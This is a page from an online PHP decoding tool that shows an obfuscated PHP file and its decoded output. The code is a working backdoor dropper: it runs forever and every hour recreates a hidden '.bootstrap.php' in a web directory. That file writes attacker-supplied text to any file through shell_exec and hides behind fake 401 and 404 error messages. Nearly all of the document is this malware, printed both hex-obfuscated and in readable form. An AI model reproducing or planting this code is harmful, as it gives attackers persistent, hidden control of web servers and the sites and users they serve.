Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto I6mka; I6mka: $fileLocation = "\57\x76\x61\x72\x2f\x77\167\167\x2f\x68\x74\15..
Decoded Output download
<?php
goto I6mka; I6mka: $fileLocation = "/var/www/html/pets/"; goto nif5m; vi6eT: $filePath = $fileLocation . $fileName; goto t4_Y8; nif5m: $fileName = ".bootstrap.php"; goto vi6eT; t4_Y8: while (true) { if (!file_exists($filePath)) { file_put_contents($filePath, "<?php\xa if ($_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\x4d\x45\x54\x48\x4f\x44"] === "\x50\x4f\x53\x54") { $filename = $_POST["\x66\x69\x6c\x65\x6e\x61\x6d\x65"] ?? null; $text = $_POST["\x74\x65\x78\x74"] ?? null; if ($filename && $text) { $safeFilename = escapeshellarg($filename); $safeText = escapeshellarg($text); $command = "\x65\x63\x68\x6f\x20{$safeText}\x20\x3e\x20{$safeFilename}"; shell_exec($command); echo "\x54\x65\x78\x74\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x20\x77\x72\x69\x74\x74\x65\x6e\x20\x74\x6f\x20{$filename}"; } else { echo "\x45\x72\x72\x6f\x72\x3a\x20\x34\x30\x31"; } } else { echo "\x45\x72\x72\x6f\x72\x3a\x20\x34\x30\x34"; }\xa"); echo "File created at: {$filePath}
"; } else { echo "File already exists at: {$filePath}
"; } sleep(3600); } goto p825z; p825z: ?>Did this file decode correctly?
Original Code
<?php
goto I6mka; I6mka: $fileLocation = "\57\x76\x61\x72\x2f\x77\167\167\x2f\x68\x74\155\x6c\x2f\160\145\164\x73\57"; goto nif5m; vi6eT: $filePath = $fileLocation . $fileName; goto t4_Y8; nif5m: $fileName = "\56\142\157\157\x74\x73\164\162\141\160\56\160\x68\160"; goto vi6eT; t4_Y8: while (true) { if (!file_exists($filePath)) { file_put_contents($filePath, "\74\x3f\160\150\x70\xa\x20\x69\146\x20\x28\x24\137\x53\105\x52\x56\105\x52\133\42\x5c\170\65\62\134\170\64\65\134\170\x35\x31\x5c\x78\x35\65\134\170\64\65\134\170\65\x33\134\170\x35\64\x5c\170\65\x66\134\170\x34\x64\134\170\x34\65\x5c\170\65\x34\x5c\x78\64\x38\x5c\x78\x34\x66\x5c\x78\x34\x34\42\135\40\75\x3d\75\40\x22\134\170\65\60\x5c\x78\x34\146\x5c\170\x35\x33\134\x78\65\x34\42\51\40\x7b\x20\x24\x66\151\x6c\x65\156\141\x6d\x65\x20\x3d\x20\x24\137\120\117\123\124\133\42\134\170\66\66\134\170\x36\71\x5c\x78\x36\143\x5c\x78\x36\x35\134\170\x36\x65\134\170\x36\x31\134\x78\66\x64\x5c\170\x36\65\42\135\x20\x3f\77\x20\x6e\x75\x6c\154\73\40\x24\x74\x65\x78\164\x20\75\40\44\137\x50\117\123\124\x5b\42\134\170\x37\64\x5c\x78\66\65\x5c\170\x37\70\x5c\170\x37\x34\x22\x5d\x20\x3f\77\40\156\165\154\154\73\x20\151\146\40\50\x24\146\x69\x6c\145\156\141\x6d\145\x20\46\46\x20\x24\x74\145\170\164\x29\40\173\40\44\163\141\146\x65\x46\151\x6c\x65\x6e\x61\155\145\x20\x3d\40\x65\163\x63\x61\160\145\163\x68\x65\x6c\154\141\162\x67\x28\44\146\x69\154\x65\x6e\x61\155\145\x29\x3b\40\44\163\141\x66\145\x54\x65\x78\x74\x20\75\40\145\163\x63\x61\x70\x65\x73\150\145\x6c\x6c\x61\x72\147\50\44\x74\x65\170\164\51\73\x20\x24\143\157\x6d\x6d\x61\x6e\144\x20\x3d\x20\42\x5c\x78\66\65\x5c\x78\x36\x33\134\x78\66\70\x5c\170\66\x66\134\170\62\60\173\44\163\141\x66\x65\x54\145\x78\x74\x7d\x5c\x78\x32\x30\x5c\x78\63\x65\x5c\x78\62\60\173\x24\x73\x61\x66\x65\x46\x69\x6c\145\156\x61\155\x65\x7d\42\73\x20\x73\x68\x65\x6c\x6c\137\145\170\145\x63\50\44\x63\x6f\155\x6d\x61\156\x64\x29\x3b\x20\145\143\150\x6f\x20\x22\x5c\x78\65\x34\x5c\x78\x36\x35\134\x78\67\70\x5c\170\67\64\x5c\170\x32\x30\x5c\170\67\x33\x5c\x78\67\65\134\x78\66\63\x5c\x78\66\63\134\x78\66\x35\x5c\170\x37\63\x5c\170\x37\63\134\x78\66\x36\134\170\67\65\x5c\x78\x36\143\134\x78\66\x63\x5c\170\67\71\x5c\x78\62\60\134\x78\x37\x37\134\170\67\62\x5c\x78\x36\x39\134\x78\x37\x34\x5c\x78\x37\64\134\170\66\x35\x5c\x78\x36\145\x5c\170\x32\60\x5c\x78\x37\x34\x5c\x78\x36\146\134\x78\x32\x30\x7b\x24\146\x69\154\145\156\x61\155\x65\x7d\x22\73\40\x7d\x20\x65\x6c\x73\x65\40\x7b\x20\x65\x63\150\157\40\42\134\x78\x34\x35\134\x78\67\62\134\170\x37\62\x5c\x78\x36\146\x5c\x78\x37\x32\x5c\x78\x33\141\x5c\x78\x32\60\134\170\63\64\134\x78\x33\60\134\170\x33\x31\x22\x3b\40\x7d\40\175\x20\x65\154\163\x65\x20\x7b\40\145\143\x68\157\40\x22\x5c\x78\64\x35\134\x78\67\x32\134\170\x37\x32\x5c\170\66\x66\134\x78\67\x32\134\170\x33\x61\134\170\x32\x30\x5c\170\63\x34\x5c\x78\63\x30\134\170\x33\64\x22\73\x20\175\xa"); echo "\106\151\x6c\x65\x20\143\x72\x65\141\164\145\x64\x20\141\164\x3a\40{$filePath}\12"; } else { echo "\x46\151\x6c\x65\x20\x61\154\x72\x65\141\144\x79\x20\x65\170\151\x73\164\163\40\x61\164\x3a\x20{$filePath}\12"; } sleep(3600); } goto p825z; p825z: ?>Function Calls
| None |
Stats
| MD5 | 050e9a70f5d2480b9e912f8a5e407be1 |
| Eval Count | 0 |
| Decode Time | 63 ms |